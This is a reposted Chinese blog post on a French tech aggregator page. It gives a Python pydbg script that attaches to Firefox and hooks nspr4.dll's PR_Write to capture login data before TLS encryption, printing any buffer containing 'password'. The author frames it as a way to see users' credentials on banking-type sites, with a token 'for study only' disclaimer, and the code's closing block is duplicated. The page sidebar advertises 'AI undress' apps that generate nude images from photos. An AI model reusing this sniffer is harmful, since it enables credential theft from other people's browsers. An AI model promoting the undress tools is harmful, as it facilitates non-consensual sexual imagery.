python利用hook技术破解https的实例代码
相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:
下面是源代码:
代码如下:
#!/ur/bin/env python
from pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg()
found_firefox = False
pattern = "password"
def ssl_sniff( dbg, args ):
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory( args[1] + offset, 1 )
if byte != "x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# 寻找firefox.exe的进程
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# 得到firefox的hook的 address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
if hook_address:
# 添加hook的内容,包括他的pid,地址,嗅探类型
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
转自:http://world77.blog.bitsCN.com/414605/518679

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Comment utiliser NginxProxyManager pour implémenter le saut automatique de HTTP à HTTPS Avec le développement d'Internet, de plus en plus de sites Web commencent à utiliser le protocole HTTPS pour crypter la transmission des données afin d'améliorer la sécurité des données et la protection de la vie privée des utilisateurs. Le protocole HTTPS nécessitant la prise en charge d'un certificat SSL, un certain support technique est requis lors du déploiement du protocole HTTPS. Nginx est un serveur HTTP et un serveur proxy inverse puissants et couramment utilisés, et NginxProxy

Comment utiliser NginxProxyManager pour implémenter un proxy inverse sous protocole HTTPS Ces dernières années, avec la popularité d'Internet et la diversification des scénarios d'application, les méthodes d'accès aux sites Web et aux applications sont devenues de plus en plus complexes. Afin d'améliorer l'efficacité et la sécurité de l'accès aux sites Web, de nombreux sites Web ont commencé à utiliser des proxys inverses pour traiter les demandes des utilisateurs. Le proxy inverse du protocole HTTPS joue un rôle important dans la protection de la confidentialité des utilisateurs et dans la sécurité des communications. Cet article expliquera comment utiliser NginxProxy

Nginx est un logiciel de serveur Web hautes performances et un puissant serveur proxy inverse et équilibreur de charge. Avec le développement rapide d'Internet, de plus en plus de sites Web commencent à utiliser le protocole SSL pour protéger les données sensibles des utilisateurs, et Nginx fournit également un puissant support SSL, améliorant encore les performances de sécurité du serveur Web. Cet article explique comment configurer Nginx pour prendre en charge le protocole SSL et protéger les performances de sécurité du serveur Web. Qu'est-ce que le protocole SSL ? SSL (SecureSocket

Le flux de travail https comprend des étapes telles que la demande initiée par le client, la réponse du serveur, la prise de contact SSL/TLS, la transmission de données et le rendu côté client. Grâce à ces étapes, la sécurité et l'intégrité des données pendant la transmission peuvent être garanties.

Implémentez la création du composant fullScreenContainer.vueimport{useAutoResize}from'@/hooks/useAutoResize' const{autoBindRef}=useAutoResize(), personnalisez un hook et exportez un fichier de hook personnalisé de référence de liaison autoBindRef useAutoResize.tsimport{ref}from' vue' ;exportfunctionuseAutoResize(){l

À l’ère d’Internet d’aujourd’hui, la communication sécurisée est devenue un élément indispensable. En particulier dans la communication HTTPS, la manière d'assurer sa sécurité est particulièrement importante. En tant que serveur Web et serveur proxy inverse populaire, le pare-feu de Nginx peut également jouer un rôle important en garantissant une communication sécurisée HTTPS. Cet article abordera le pare-feu Nginx sous les aspects suivants. Cryptage TLS/SSL La garantie de sécurité de la communication HTTPS repose principalement sur la technologie de cryptage TLS/SSL, qui peut empêcher la transmission des données pendant la transmission.

La différence entre la vérification unidirectionnelle et la vérification bidirectionnelle : Vérification unidirectionnelle : fait référence au client qui vérifie le certificat côté serveur, et le serveur n'a pas besoin de vérifier le certificat client. Vérification bidirectionnelle : fait référence au client qui vérifie le certificat côté serveur, et le serveur doit également vérifier le certificat client via le certificat de clé publique de l'autorité de certification. Processus détaillé de prise de contact : authentification unidirectionnelle Le navigateur envoie une demande de connexion au serveur de sécurité. 1. Le serveur envoie son propre certificat et les informations relatives au certificat au navigateur client. 2. Le navigateur client vérifie si le certificat envoyé par le serveur est émis par le centre d'autorité de certification auquel il fait confiance. Si c'est le cas, continuez à exécuter l'accord ; sinon, le navigateur du client donnera au client un message d'avertissement : avertissant le client que ce certificat n'est pas digne de confiance et lui demandant s'il doit continuer. 3. Récupérez les clients

Étapes de configuration : 1. Obtenez le certificat SSL ; 2. Configurez le certificat SSL ; 3. Modifiez le fichier de configuration Tomcat ; Introduction détaillée : 1. Vous devez obtenir un certificat SSL, soit un certificat auto-signé, soit un certificat SSL valide auprès d'une agence de certification (telle que Let's Encrypt) 2. Placez le certificat SSL obtenu et les fichiers de clé privée sur le serveur et assurez-vous que ces fichiers sont situés dans un emplacement sûr, seuls les utilisateurs disposant d'autorisations suffisantes peuvent y accéder ; 3. Modifier les fichiers de configuration Tomcat, etc.
